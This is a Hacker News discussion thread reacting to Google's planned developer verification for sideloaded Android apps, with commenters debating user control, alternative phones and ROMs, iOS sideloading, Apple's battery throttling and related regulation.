https://grapheneos.org/faq#supported-devices
How is GrapheneOS / SeedVault looking these days in terms of being able to capture reliable backups and restore them to another device (without using the cloud)?
I gather the introduction of the android:allowBackup="false" manifest flag complicated things somewhat... I thought I read since then that a Device-to-Device (D2D) impersonation mode was implemented, and would love to hear if that helped?
(I posted a couple years ago about this topic, admittedly it was a bit ranty: https://news.ycombinator.com/item?id=37774254)
Fairphone + GrapheneOS + F-droid would be even more so.
Side note, I read that GrapheneOS project is having some challenges recently.. between [0]the Android kernel drivers no longer having their Git history of changes being released (only a code dump with no history) - and [1]one of Graphene's two core contributors being detained/conscripted into a war.
[0] https://grapheneos.social/@GrapheneOS/114665558894105287
[1] https://grapheneos.social/@GrapheneOS/114359660453627718
Vollo from German is one https://volla.online/. They sell a nice set of devices that run either a custom Android or Ubuntu Touch. Their custom Android has a nice bunch of UI and privacy features.
Fairphone from the Netherlands is another https://www.fairphone.com/
Another one is https://murena.com/ which (IIRC) is based in France. They don't have their own hardware though, they sell partner phones with their ROM preinstalled.
For once Fairphone never updating their phones will work in our favor! If Google roll sthis out in early 2026, anyone with a Fairphone can rest easy that they won't receive that version of the operating system until mid-2028 at least.
Fairphones are also LineageOS and postmarketOS compatible, both options are without tracking and without Google's mandated policies.
LineageOS without gapps is really usable if you set aside the "big" social media apps. WhatsApp can be sourced from their website as an APK. The social apps like facebook, instagram, snap, tiktok and others all require Google Play's tracking services (aka gapps).
For YouTube there's multiple better alternative open source apps available, and mastodon, amethyst and the fediverse apps on f-droid are far superior in terms of performance to the Google Store alternatives.
> Fairphone never updating their phones
I have a Fairphone and i get updates pretty frequently so not sure what you mean?
What major version of Android are you on? Last I checked (a few months ago) all Fairphones were still on Android 13.
Ah, you mean that. Yeah it's still 13.
I have Android 15 on my work phone and 10 in private. I don't really see the difference besides that they've made it more annoying to turn wifi off (requires an extra tap now, first the general internet menu and then a small slider for wifi or mobile data). Genuinely not seeing any significant changes from a user point of view (I'm sure there's lots of new SDKs for the developers, but while I've made apps before, I'm not a mobile dev keeping up with the latest things)
That Fairphone has 13 just tells me they don't waste employee time in their small business on useless upgrades just for the sake of it. Their point is fair wages and ethical mineral mining: better that they have a workable phone without even more fluff, it seems to be tricky enough already in this world :(
Android 15 has things like native satellite communications. It's not just UI changes, the backend OS is more capable.
Right, that is nice to have, though in this case the hardware would also have to support it which an older phone that didn't ship with Android 15 won't have
I'm talking about things like T-mobile's starlink texting. The only hardware requirement is supporting eSIM, which Fairphones 4 and later do. It uses standard LTE.
The sole blocker preventing someone with a Fairphone 4, 5, or 6 from sending text messages via satellite is that they are not on Android 15.
Oh! I didn't know that, thought it required a special antenna. That's cool, thanks for the correction!
The Linux Experiment podcast has a nice review of the Vollo phone https://www.youtube.com/watch?v=Dh-rIxrGXFU
The crazy thing is this is all under the pretense of preventing malware. And I constantly hear this argument that the app stores protect people, even from developers.
I truly don't get it. Are these people from 2009? Have they seen the apps on the current app stores? If you're lucky your highest rated flashlight app will only have a few Fullscreen ads and a subscription less than $10/mo. The recipe sites from content farms are less bloated and way less scammy.
It's certainly not about preventing scams. It's about preventing competition in the scamming business.
I happen to know the situation in some of the countries mentioned in the article.
There are millions of $ stolen via side-loaded malware.
It's good they decided to do something about it.
... and that pales in comparison to the billions stolen via malicious actors on certified software. Lol.
I don't need to sideload a fucking fake bank app to steal your money. Get real. This isn't how most fraud or scams are done. Grandma isn't gonna install a fucking unsigned binary on her android phone. But she IS going to give out her password.
from the techcrunch article:
> According to its own survey, Google says that more than 50 times more malware came through internet-sideloaded sources compared with Google Play, where it has required developer verification since 2023.
50:1 is not preventing. It is just "well, we are better than nothing"
I'm pretty sure there can be other curated stores that can serve the customer¹
[1] customer: owner of phone, not advertisers, data merchants, etc
I regard Google highly in many domains, but this needs independent research. There is just waay too much opportunity to misuse data to paint a picture of themselves as the protectors. Especially curious about their definition of malware, because to me the app stores seem worse than browser toolbars from the 2000s.
It also shows how bad Google is at preventing malware in the Play store. There are far more than 50x more installs from the Play store than from side loading, which means that most malware is installed through the Play store, despite the much lower barrier to entry for side loading.
I tried to screenshot some app on my android the other day and got an error toast reading some bullshit like "this action has been blocked by the admin." Uh I'm the admin and this is my hardware... The sketchy app was trying to prevent screenshots.
Mobile in general is a second class ecosystem. You're paying to ride in a bus that most ride for free, and when you sit down it's squishy.
It's also super nice to take notes on the fly for OpenStreetMap with StreetComplete, for holding the device up to the sky and it tells you what planet is so bright in the sky, for navigation... These things don't work on a laptop. Even if you want to carry a full-sized system in place of a smartphone, or use Ubuntu Touch, I'm not aware of software to do these things in the convenient way that Android apps let you
Of course, that's a software support issue and not a constraint imposed by the OS. Someone could make Stellarium desktop work with an orientation sensor. It's just that nobody has done that particular thing, as well as a million other things that work super well on mobile
So is it second-class, or is it just a way that is optimised for output rather than input? You get the turn instructions presented to you, you can watch videos and listen to music, note-taking is optimised to work with a few taps and is reduced to the essentials you need. You can work them out later on computer if you have time at home over of course, but at least you can contribute that way with ease
I make a point of never installing an app when there's a usable mobile site. Even if they prompt me to install every ten seconds.
Every time Reddit asks me if I want to open it up in their app, I want to do that even less.
please don't take it out on us mobile devs
Heh, I've always done this. Maybe if every mobile dev made sure I could find text like I can in a browser I'd be less strident. But really, I need a very good reason to install stuff.
You can enjoy “good old days” from what you remember of iOS and android. I also say enjoy the LLM good new days while they last.
I'm right there with you. These platforms are cancer. There's a small but growing movement away from smart phones. It'll probably never go mainstream, though.
I think before we can fix all that we need to revert the renting of software via subscriptions and go back to one-time-payment. But people are too greedy for that.
Windows 10 Mobile was good.
The entire developer experience was fantastic and the thing that killed it was a lack of desire from the upper leadership when it felt like they couldn't compete with the duopoly.
The developer experience was trash.
Did you have a wince app? Too bad, throw away all that and rebuild for wp7.
Do you want do anything useful? Actually, you better wait for wp7.5.
Oh look, we have a totally new thing with WP8. Upgrade to the newest framework so you can use the WP8 features... Oh, but you still need to build for the old framework for WP7. Hey, how about WP8.1, kind of the same deal.
My personal favorite though was WM10; you now need to build a Universal app that only runs on the very small number of WM10 phones... If you want to run on WP7 and WP8 which still have more sales, a universal app doesn't run there. Also, even though we said WP8 phones would be able to upgrade, either we changed our mind, or the experience is so bad most people won't. And the cherry on top... Users who upgrade from 8 to 10 might need to delete and reinstall the app, otherwise it will just show the loading dots.
Did we mention, we decided we didn't need engineers in Test in the run up to WM10? Couldn't possibly be why the release was terrible.
It's incredible that by the end of it, the WM rollercoaster made us actually miss WinCE. If you had have told us that initially none of us would have believed you. WM had so much potential and was just totally botched.
Start complaining to your government about every shitty thing the apps and OSes do, and tell your friends to do it too, eventually we may get some action on it.
We are all mildly annoyed and therefore mildly motivated to fix the problem. Apple and Google are extremely highly motivated to retain the status quo. I still try to vote with my wallet but it's going to be hard to counter their well-funded lobbyists.
Some Linux phones exist. And there is sailfishOS too.
I too miss Palm. I had a Pilot, then a Treo, and finally a Pixie. When HP bought Palm, I switched to iPhone. It was a sad day.
I cut my teeth on commercial b2c & b2b app dev/sales on Palm OS from the age of 14. It was sad but now I'm a full-time bootstrapped iOS dev thanks to that experience.
I mean, just get a rootable phone and roll your own RoM. If you can type stuff in a terminal, its not that hard to do.
You can pretty much disable all google services. Just a fair warning though, the experience is quite degraded.
What was the last time there were some actually good news in big tech? For those that don't hold stocks I mean.
> What was the last time there were some actually good news in big tech?
The issue is that the good news are often incremental, while the bad news come in large steps, which makes them much more noticeable.
We're in the era of less control, more surveillance, more "security", more being treated like a child and lied to.
Just yesterday I got a venmo prompt to add biometrics for "security". F off.
"Just yesterday, an app that directly impacts my money, asked me to make it more secure" - how did you survive?
Vemno doesn't get your bio data, it just gets a true or false from the OS.
For what it's worth, Venmo will not get access to your biometrics data, it's a black box in which you specify a desired level of authentication and the OS just returns ok/not ok.
It is, however, to make you use Venmo more easily, thus more often, thus spend more money through them.
I had to do a government ID upload and a live face scan to install my banking app on a new phone even though I had other devices I could have used to authorize it. It made me want to switch banks, but where do you go?
Jesus fucking Christ this is bleak. You should not have to do this. If your bank allows a browser log in just use that.
DO NOT trust financial institutions with your data. They WILL leak it. Its only a matter of time.
Last week. The bags I’m holding for Intel got a little lighter. Lmao.
Nana is still not happy
If your businesses idea doesn't work without you being evil, you deserve to go bankrupt. I perceive a tendency to assume it is necessary for a company like Google to maintain full control over our ecosystem to further our progress and maintain order. However, we should know by now that this isn't the case. You don't have to be evil to be useful. See GNOME, GrapheneOS, Steam, KDE, Wikipedia, Linux or Mozilla (previously). Tricking us of their inevitability is their greatest success.
It's so funny to me that they think that forcing power users to cave in is going to bring in more money. Heck I will stop paying for Google Workspace and move my shit to Apple rather than pay for YouTube premium or watch YouTube ads.
I don't think it's about money anymore. These last few years we've seen governments, corporations, lobby groups, and the rich really starting to clamp down on authoritarian measures primarily centering around eliminating digital freedoms.
I think we might be past the stage of capitalism where the evil was merely incidental to the pursuit of profit.
Steam is interesting example. Many evil things in gaming: Battle Pass, LootBox, came from them, or being made popular by them.
Their business idea works great while not being evil in any new ways beyond what they were already tolerating with advertising. No, this particular brand of evil is so much more offensive, because they're just in it for love of the game.
> If your businesses idea doesn't work without you being evil, you deserve to go bankrupt
Oh but they hate to hear this.
Google is doing everything in their power to make me move to an iphone... between shit like this, effectively bricking some old models of pixels with un-rollbackable patches that destroy batteries, closing down the android development process, making absurd testing requirements to publish apps, etc.
Google doesn't make better phones, they were just less hostile to the consumer. That seems to be going away :(
As mentioned in OP, Apple is doing the same thing.
I'm aware, I'm saying Google is trending towards being as abusive with their software practices as Apple already is, not worse.
And saying that for me anyways the only reason I have an Android and not an IPhone is because they were less abusive. On unrelated metrics like hardware quality Apple generally seems to do better.
Apple's hardware quality is pretty solid. Using Apple's software is basically an exercise in being a sub.
I have a stroke everytime I try to navigate settings on a iPhone each time someone asks. It's like they don't want you to try and change anything, ever.
Precisely. If I can't control what I put on my Android phone anymore, I no longer have any reason to use an Android. iPhones have normal USB ports now, and that was the other big barrier.
> Google doesn't make better phones, they were just less hostile to the consumer.
And the person you're responding to was pretty clear that the issue if they both do the same thing, Google has no edge in devices.
> As mentioned in OP, Apple is doing the same thing.
The thing is that if Google choses to make Android OS as closed as iOS, I'd rather use an iPhone than an Android phone...
If both systems are similar in terms of features and freedom, then I might as well choose the one that tracks me less and offers a more polished experience.
In the high-end smartphone market, using an OS from a giant ad company is already a compromise for freedom. But if that freedom vanishes, why bother? Apple's hardware and software outclass Google's. And with E2EE for cloud data, I'd at least stop compromising.
Is sideloading a thing on iOS?
Yep, available to anyone. It's much more restrictive though. Basically you need a valid developer certificate to sign apps. You can use your own with a free developer account but you only get so many tokens per week and apps need to have their tokens refreshed weekly.
You can also use an enterprise developer certificate that lasts forever but if Apple revokes it then the app stops working until you get another working cert.
It does require you to turn on iOS developer settings by connecting to a Mac with Xcode installed to enable but then you can manage app installation and refreshing via an App Store like Alt Store. EU has different system where there is no limit on amount of sideloadable apps but the apps still need to be approved by Apple. Alt Store also have a EU specific App Store for that purpose.
I side loaded on iOS for a long time. Get Youtube++ for ad free and I forget the Reddit client I used that was side loaded as well. You can run the server on any PC or Mac that will handle side loaded apps and being on the same WiFi network allows the server to automatically refresh the installed apps. Only big downside is updates are not automatic or simple. To update an app you have to download the new app .ipa and then sign it like you were installing it fresh. Usually it picks up the existing configs and data though. So it's not a full app wipe.
The sideloaded subreddit is where I got into it through.
In legal jurisdictions where Apple is forced to allow it, yes. They have a similar scheme for requiring developers to register and are demanding per-install fees for popular apps, though I'm not sure that will survive regulatory scrutiny in the EU.
Otherwise, I think it's possible to use developer tools to temporarily install apps on an iPhone. IIRC this requires a Mac and has to be repeated every few days.
> and has to be repeated every few days.
7 days for free account.
1 year for paid (until membership ends?).
90 days for TestFlight.
Worth adding on there are methods to update signatures, altstore being one example Although using their app to help automate that then takes up one the app slots for free accounts
There's a technical possibility, but it's not a thing, as in there's not a lot of iPhone users interested in that
I was way into the Cydia/Jailbreaking scene back in the day. These days, I find it hard to care about being able to do weird stuff with my iPhone. I just care that it works well.
Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
Leaving Google for Apple, and expecting a more open app store, is going to be disappointing. I’m not a Google fanboy by any means, just pointing out the landscape out there
Apple throttled devices that had a weak battery, because the alternative is the CPU trying to draw more power than the battery can deliver, the voltage sagging, and the phone rebooting.
By itself, this throttling is a good thing and keeps phones usable for longer, because a phone that is slow is better than a phone that randomly reboots.
The problematic part was that they a) didn't disclose it, and b) did this for phones within the warranty period, so instead of the phone visibly crashing and you returning the obviously broken phone, it just lost performance which you might not have noticed in time to get a free replacement.
The Nexus 6P had the same issue with random shutdowns, and although Google refused to do anything about it some users on XDA developed a patch that disabled all the performance cores completely.
> XDA user XCnathan32, along with assistance from two other users, created the fix and put it up for anyone to give it a whirl. Without getting too technical, the fix shuts down all four of the Nexus 6P octa-core Snapdragon 810 processor’s performance cores that seemingly prevent the phone from properly booting
https://www.androidauthority.com/nexus-6p-bootloop-fix-78930...
Funny how no one really complained about the random reboots but everyone noticed throttling and assumed their phone was "too old" and they needed to buy a new one. Interesting how this move greatly benefited apples bottom line versus improving actual quality of life for the user considering a reboot is 30 seconds perhaps and a slow phone is slow for every second you use it.
> Funny how no one really complained about the random reboots
People definitely complained about the random reboots, especially on the Nexus 6P, since that phone wouldn't boot again until after it was connected a charger plugged into a power outlet.
Heaven forbid you had a medical emergency away from a power outlet with a phone that unreliable.
Well we are talking about iphones not the nexus 6p
The Nexus 6P had the exact same problem during the same timeframe.
Google just refused to do anything about it.
OK but if an iphone reboots randomly it just restarts. They still reboot randomly to this date or at least mine does with presumably the modern throttle patch. It is a non issue because you are back in action in 30 seconds or so.
The Nexus 6P did not just restart.
It soft bricked itself until you were able to plug it back into a power outlet.
Until then it was useless.
That is fine but the thread is about iphones not the nexus 6p.
The thread is about Google restricting Android app development.
Understood. Poor wording on my part!
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery
It wasn’t guise, it actually increased the battery life quite much. People complained about the battery of old phones. The problem was that users did not have choice to opt-out.
There was the opt-out part, but also the complete silence around the issue that comforted people into thinking they needed new phones every 2 years instead of just replacing the battery.
Apple wouldn't have had to do all the song and dance if from the start a popup warned the users their battery lost capacity and should be serviced.
Yeah, the feature itself wasn't bad, it was the implementation that was.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
It's not about 'saving battery' its about preventing undervoltage that janks everything up.
Having dealt with more than one windows phone that didn't have this feature or had it in a bad way (i.e. 520/521 would just 'reboot', 640 and 950XL would just kill an app) I wish Microsoft would have figured that crap out lol.
No one is expecting Apple to be more open. It's just that the reasons for choosing Android over iOS have been slowly chipped away over time, and soon enough there won't be a big reason to choose one over the other.
No, the batteries had degraded to the point that they could not supply enough voltage and current to stably run the chip at full frequency. Replacing the battery would restore full performance.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
Nope. There was an issue in iPhones and Nexus phones that had been used for a few years where a worn battery could no longer maintain a voltage high enough to meet instantaneous SOC power demand, resulting in unexpected device shut downs.
Apple got the device to quit shutting off without warning by throttling older devices and Google did nothing and just told users to buy a new device.
They both got sued, and both lost.
> If you currently or formerly owned a Google Nexus 6P smartphone, we have some good news: you might be eligible for a cash rebate for those bootloops and spontaneous shutdowns the device was known for.
https://www.androidauthority.com/nexus-6p-lawsuit-2019-97547...
It's not a bug or issue with those phones, it's how batteries behave -- over time, they lose both their capacity and the power they output. Apple decided to throttle their phones via software instead of letting them crash.
I've said this before, but it was the right idea executed the wrong way. iPhones give you a warning when they overheat, and this throttling should have gotten a similar warning with a link to an FAQ explaining the battery dynamics.
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?
That’s not a true story.
More power to Apple then..?
This is crazy. I can't install my own apps on my own phone anymore.
I am gonna start carrying around a laptop with a 5G modem instead.
I'm thinking it's time for a 2nd phone (in my case old one from cupboard) to become the regular daily GrapheneOS enabled driver and then keep a modern Google(tm) updated one at home for all the "official crap" whenever needed. That way I can also separate banking / paypal / etc. from my carry phone with all it's various apps that I trust to varying degrees.
This was the first thing that crossed my mind. If it’s not too much money and hassle I could buy a second device for GrapheneOS and tether to the cheapest phone I can get for the official ecosystem.
Really though, it doesn’t have enough impact for consumers. If I get unfairly banned as a developer, no one even notices because that’s nothing more than an opportunity for another developer to step in.
Individually we have no power :-(
Those are the moments I am starting to fantasize about starting a customer protection group that is sufficiently committed to follow through on organizing boycotts. Naturally, reality hits once you see average human on the road ( on a highway, full speed ). We might be lost a species.
Well, in a sense it's the Milgram experiment ratio (roughly 2/3rds will go along with whatever those in authority say). I have personally gone from being discouraged about that factoid to simply being intrigued.. A very early example of the awareness of this situation would be the concept of the wide vs narrow gate from Jesus' Sermon on the Mount.
I wonder if you could keep your "snitch" android phone home by instrumentalizing it, enabling you to access it remotely on your main linux/degoogled android phone. It might not even be that outrageous of an idea since there are tons of botfarms that are essentially stacks and stacks of legit phones being remotely controlled... the tech might be there already, just need to adapt if for something good...
https://github.com/Genymobile/scrcpy
How likely is it for google to deny access to all or most of the apis that makes this possible? Then you need to point a camera to the screen, mike the speakers and so on...
If you asked me yesterday if Google would ever block sideloading, I would have said no.
All bets are off at this point.
I'm curious why you need a phone for banking at all, at home as you say. Wouldn't a laptop suffice? Granted, not all banks have a web app these days
Not for me at least, 3DS requires approval in an app on my phone. I'd love if the banks just used TOTP instead but no, I have to use their app, some of which don't work with an unlocked bootloader, so I have to have stock android
ding ding ding a second phone is the correct answer
Don't worry, they'll stop letting you access your bank without an app soon enough. Gotta protect the children and what-not.
I just got a letter from my bank stating this. Website is going away, app only access. It's very disappointing, for security I never have any banking access on my mobile devices
Then will maybe come a real use for decentralized cryptocurrencies like bitcoin. To skip this crazy banking system completely...
Time to switch banks.
Yes, and then that one adopts the same policy. You switch again. Repeat. At some point you run out of options.
That's indeed what I'm planning to do but I'll buy a Steam Deck
I have been looking into this as well. There are a few devices from GPD Win that are smaller than the Steam Deck but also have a physical keyboard.
So people from countries US has sanctioned can't even develop and use mobile apps anymore. This will change millions of innocent lives. So unfair and racist. The reason my people are in this mess in the first place is a US coup.
These countries are not affected because they don't have Play Services preinstalled, no?
I once had a colleague from Iran. Working (legally) in the middle of the EU. He was already blocked from using credit cards, but thanks to not-100%-US-dominance still allowed to use local banks. For such local banking he will likely need to have Play services.
It's not countries that are affected, but people. And people sometimes move.
Agreed!
Oh, no! This is the least thing I expected to see as the #1 in Hacker News' front page!
This is a plot twist I never thought it would happen. While the EU [1], Japan [2] , UK [3] and Australia [4] are in the process of forcing Apple to allow sideloading and alternative App Stores, Google, which was far from these obligations, had taken a totally unexpected road to limit/control how sideloading should work.
____________________
1.https://developer.apple.com/support/dma-and-apps-in-the-eu/
2.https://www.phonearena.com/news/the-world-is-changing-japan-...
3.https://www.videogameschronicle.com/news/uk-passes-bill-whic...
4.https://www.theguardian.com/technology/2025/jun/06/australia...
Time for a Steam Phone. Or FirefoxOS reloaded. The general purpose mobile computing market must be sizeable. I cannot believe everybody just puts up with these increasingly draconic restrictions.
I think a big problem is that the users have been trained to accept the status quo. I mean back in the Feature phone days we would share Java phone games at school via Bluetooth. I’d assume kids these days generally don’t anymore.
Also, due to the cost of physical media piracy was rampant even amongst boomers. People knew and had the option to buy a dvd player that could play video cd because that’s how movies were ripped.
Even during the early iPhones we were so stripped of even basic features that a jailbreak was 100% required if you wanted to even basic things like taking videos or changing the Home Screen background.
None of this is necessary anymore. The users gets the phone and it just works from their perspective at least.
So who is going to try to run a business off of nerds like us who want to have this sort of control over our devices (I’d call it freedom but the average user doesn’t feel unfree)?
This is an unfortunate side-effect of modern UX thinking: people don't need to learn anything and sure enough there is no tech-literacy now.
People barely know what a file-system is these days.
> we would share Java phone games at school via Bluetooth. I’d assume kids these days generally don’t anymore.
I am both happy (from a user-friendliness point of view) and sad (from a "works offline" perspective) that F-Droid's share button now shares a link that will show them info about the app with an option to install the software, instead of the share button directly giving you an APK file with no way to link someone to the 'store' page. I'd personally still know how to send people APKs via hotspot or bluetooth (such as for peer-to-peer voice/message apps) but a lot of people won't
This move from sending each other software to sending each other links to centralized platforms has been long ongoing. Most messaging systems don't allow you to send executable (.exe, .apk, .sh, etc.) files anymore. And I believe that virtually all of them individually do it for your own good, but the combined result is a societal shift
There has to be a threshold where enshittification has been pushed so far that nerd software becomes the thing cool kids boast about running.
Where a less restricted device can do cool things nobody else can do.
A linux-based phone... with an 18650 battery slot... with a keyboard... and a meshtastic radio... drool.
Phones are hard because of certification requirements.
PDAs, now... have a look at https://www.clockworkpi.com/home-uconsole
I don't blame Goggle. Apple escaped anti-trust by simply not allowing anyone except themselves to put software on iPhones. Seriously, Apple doesn't allow competitors so it can't be anti-competitive according to the case.
Totally brain damaged ruling, the judge must have been molested by an Android phone at some point, but here we are, and google is now moving closer to an Apple model.
> developers will have the same freedom to distribute their apps directly to users through sideloading or to use any app store they prefer. We believe this is how an open system should work—by preserving choice while enhancing security for everyone
I guess words don't don't have meaning anymore, how can you claim to have an open system in an announcement about closing it down?
It's also telling that the big supporters of this are apparently corporations and governments. Admittedly I don't know what "Developer's Alliance" is but they don't seem to care about developers very much, and I wouldn't surprised if they were just a "pay us to say what you're doing is good for devs" kind of thing
> developers will have the same freedom to distribute their apps directly to users
You have here Google making a statement it can't actually fulfill and one that it knows it can't fulfill. So Google is willfully lying here.
The minute Google has a technical capability to control what applications run on Android it's out of their hands. It is in the hands of courts, governments, dictators and authoritarians. That's just the nature of the world - Google has to obey the law and Google doesn't make the laws.
I guess it sounds hysterical, but in that sense, this is an absolutely massive loss of freedom for the entire planet as communication power that rested with individual choice is now transferred wholesale back to governments by this decision.
The Developer's Alliance address is a coworking space in Washington DC, if you want to rate the likelihood it's just an astroturf for public tech policy wonks.
As a developer of android apps that get distributed outside of the Play store, a Google identity verification system sounds like a nightmare. What if I'm deemed to be politically incorrect? Will Google brand safety exclude me?
That's exactly the goal
This is completely, absolutely and totally unacceptable.
My phone is my phone, not Google’s. They have absolutely no right to prevent me from running whatever software I wish on that phone.
This must not be allowed to stand.
It's actually your telco's phone. They're the one that has the license to run the baseband computer and RF transceiver. The 'pad' computer device is sort of yours. But there's no legal way to have ownership of a cell phone unless you yourself bid for and get the RF spectrum and set up your network in a way that accomplishes the FCC coverage and timing requirements. Then run your own telco for your phone. Basically, impossible.
Smart phones try to limit and firewall the interface between the two but tight integration is required for energy efficiency. So a smart phone, or a cell phone, can never be yours. They aren't good choices for doing computing and this legal reality is becoming more and more obvious with time.
Looking at what's been going on in the E.U. vs. the U.S., it seems pretty clear that one of the only things companies this big, with this much control over the markets fear is regulation.
Maybe people live in a country where adding new regulations is difficult at the moment. In that case, push at for it at the state or province level. Push for it wherever you can. Suddenly these companies have to figure out how to work around 50 different state level laws? Painful. Good. Make it hurt to be evil.
People need to come together and push for regulatory roadblocks to things like this at every level. I think that's part of how you keep control of your own property and stand up against it.
You paid for the phone with the OS as a contributing factor (alongside the hardware) to the purchase no doubt, so the OS in itself must be compelling to you for some reason.
You didn't fund the development of the OS, contribute to it (presumably), you didn't market it or position it alongside your brand.
I'd agree with you if you said you have a right to run anything on the hardware under a different OS, but you have no god given right to run whatever you want on the OS.
I have paid for the hardware and it is mine, google has no "god given right" to run whatever they want on it. I don't care about their OS.
These days I don't really want a smartphone at all, but begrudgingly use one for things like mobile banking, receiving SMS tokens, etc.
If someone made a screenless powerbank-shaped Android device, I might be interested. The device would double as a 5g wifi modem, and to access the UI you'd remote in over VNC from a laptop, or unrestricted mobile device like a PinePhone.
Agreed, I ditched my spy-phone.
I'm using a tp-link M7000 with 4G, for SMS and wifi modem. A simple http page for send and receive SMS. I use the API to have my ZigBee gear SMS me.
I showed my dumb-phone to my bank and asked if I needed to close my account, suddenly card reader was still available as an option. If it becomes mandatory, they can buy me a phone.
It should not become the rule that we need a spy-phone, or any other BigTech services to take part in society. So I make my life hard work to defend that principle.
Hence I am hacking away with Zig on the PinePhone, since it has some nice hardware switches for switching off modem/GPS mic etc. But the modem itself is still a blackbox, so there will always be trust issues there.
The set up I run consists of an older 5g phone that hospots to my other phone, no apps of consiquence on either phone, I sign into my email through web mail, and sign into banking through a browser, all of my apps come from fdroid and similar, mostly used for media, manual updates for those through the fdroid web site.
As to the device you mention, it should be possible to take a phone apart and spoof* all of the mic's and cameras, likely the gps, and haptic motor and speakers as well, and have a 5g touch screen modem with plain internet, or keep the speakers and it's a media device, or put all the audio on a micro switch. * use matched resistors, or black out the sensors detach the antena for gps lets just say I realy dont like bieng advertised to
this reads like the infamous HN Dropbox comment. It shouldn't have to bee like this.
Except it's the opposite - In the past we had a dropbox-like solution in the form of "just buy a pixel". That is no longer fit for purpose, so we're back to cobbling things together. Perhaps a more streamlined commercial offering will exist in the future.
Sounds like you want a laptop with a built-in LTE modem running Android inside a VM.
A laptop is far too big, and banking apps and the likes would refuse to run in your VM.
Hmm, don't banking apps run in emulators without much hassle? I am seeing a project on a horizon lol.
I predict Windows will end up going this route before Google backtracks on it.
This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation.
As an example of government regulation driving this change, see [1].
This regulation of NSW, Australia considers rooted devices with extra non-Google/non-Apple approved security features such as a duress/wipe PIN (a standard feature of GrapheneOS[2]) as a "dedicated encrypted criminal communication device". How the device is being used doesn't matter. It's how it _could_ be used.
[1] https://classic.austlii.edu.au/au/legis/nsw/consol_act/ca190...
[2] https://grapheneos.org/features#duress
I don't know that it's that simple. Further down that section (1920) in reference [1] reads
"(3) A dedicated encrypted criminal communication device does not include-- (a) a device if-- (i) the device has been designed, modified or equipped with software or security features, and (ii) a reasonable person would consider the software or security features have been applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection,"
It's not automatic: depending on what a reasonable person thinks and the definition of criminal activity.
> applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection
Does the jurisdiction matter? For example, if an activist was using a device to do things in another country that would be legal in Australia but were crimes in the other country.
I doubt a judge would interpret the law that way.
I mean, in my country, it's increasingly unclear to me whether things like "loudly criticizing the executive branch" are now considered criminal. Recent executive branch statements on this issue seem to indicate that they may consider some critics criminal just for being critics. But it's hard to be sure. And so far, every critic they've threatened to arrest has also been accused of committing other crimes.
So "the government only considers a duress PIN illegal if it is used to facilitate crime" seems like a potentially tricky standard to apply.
I love how this statement could apply to so many different countries right now!
> depending on what a reasonable person thinks
But this is just legal fiction, so not a barrier to "automatic"
At the pace of regulations we have, one day everything will be forbidden and we will all be criminals just for protecting our own wealth or security from these... yes, from these mafias.
And we will all rationalise it and believe it's normal and has always been like that.
Sad but true for so many people.
I could use a knife to chop meat, not people; I could use a car to commute, not as a high speed bullet; I could use a gun to eliminate pests, not to kill people. Just because I can use something to do something nefarious doesn't mean it should be banned, of we should not use Internet at all because it facilitates scammers.
It is always the human mind that dictates the action, not the tool. It is futile to try and ban the tool, and I bet 100% they knew that.
This is uncanny and worryingly specific, and I'm not a lawyer, but if you're not already under suspicion of being a criminal, then installing graphene doesn't match this definition I think
"This regulation will only apply to people who are already criminals" is a line that has never held
Suspect, they wrote, and that happens all the time. If you go into a store on the way home from work, and 99 days this works fine but the 100th day they want to look in your bag, but you can't show them confidential drawings of the Google Pixel 14 Max that you carry as part of your work, now they'll think you really did steal something and you went from no suspicion (spot check) to definitely a suspect and new things start to apply to you, e.g. if you leave without resolving the suspicion the police might have grounds to enter your house or search you when you walk out next time. The suspicion is based on being a suspect, not on any actual evidence (nobody saw you put anything in your bag)
I mean, you don't really have to speculate about what this is for, it's for an authority providing for lawful search, it seems pretty well-scoped, and similar to any old search warrant, which is not a new thing, really https://classic.austlii.edu.au/au/legis/nsw/consol_act/deccd...
Basically, they're not really setting up for a blanket ban on personal security features, that interpretation is obviously catastrophizing. Not that there aren't hamfisted laws somewhere like this, but NSWs implementation seems OK I guess
We have mass surveillance already in all 5 eyes countries that assumes that anyone can be a criminal at all times.
And the problems of government regulation are why we need empowerment through good open technology, not the protection of the other side of the over-concentrated power see-saw.
Microsoft has way too much of legacy software people use, banning it all overnight will not go well at all. They understand that as well.
They tried to pull a similar move with WinRT/UWP, but nobody wanted it, so now you can continue with Win32.
They would love to do so, but legacy compatibility is a major business advantage.
Microsoft mismanaged it but there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.
They did a bunch of terrible inept rollouts with confusing technology for both users and developers and effectively shot themselves in the foot. But it did not have to go down that way.
> there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.
Sounds like a nightmare universe.
I've got a hobby app in kotlin multiplatform with iOS/Android/Windows/WASM builds and while I have no issues with Apple's App Store or Google Play, I've had nothing but problems trying to support Windows Store.
The MSIX installer format is horrendous to deal with and the certification process for new releases on Windows Store is always far too long and in the cases they do find issues the reports of the issue that they log are entirely worthless.
I ended up just pulling the app off the Windows Store entirely and making it a downloadable *.msi installer. While the extra layer of presumed integrity of the app being on the Microsoft Store would be nice it wasn't remotely worth the effort for the tiny amount of people who were using the Windows version in the first place, especially given the app is free.
That's funny because I don't presume anything on the Windows store has integrity and feel safer downloading the MSI from the official source.
Yep. They fumbled the ball on step 1 of demand aggregation and we got lucky there was nothing of value for the 99% of users that will blindly take the easy path.
Well, no, that was never the plan, except in the heads of conspiracy theorists.
this is literally just an xbox lol
> Microsoft has way too much of legacy software people use, banning it all overnight will not go well at all.
A lot of legacy software was killed off with the move to 64-bit Windows. Consumers survived that and for businesses registering their software with MS isn't a problem. They're already handing Microsoft all of their company email, their documents, their spreadsheets, etc. and paying Microsoft for the privilege. MS doesn't care at all about consumers.
Was it? WOW64 runs 32-bit software fine enough. Or are you talking about 16-bit applications?
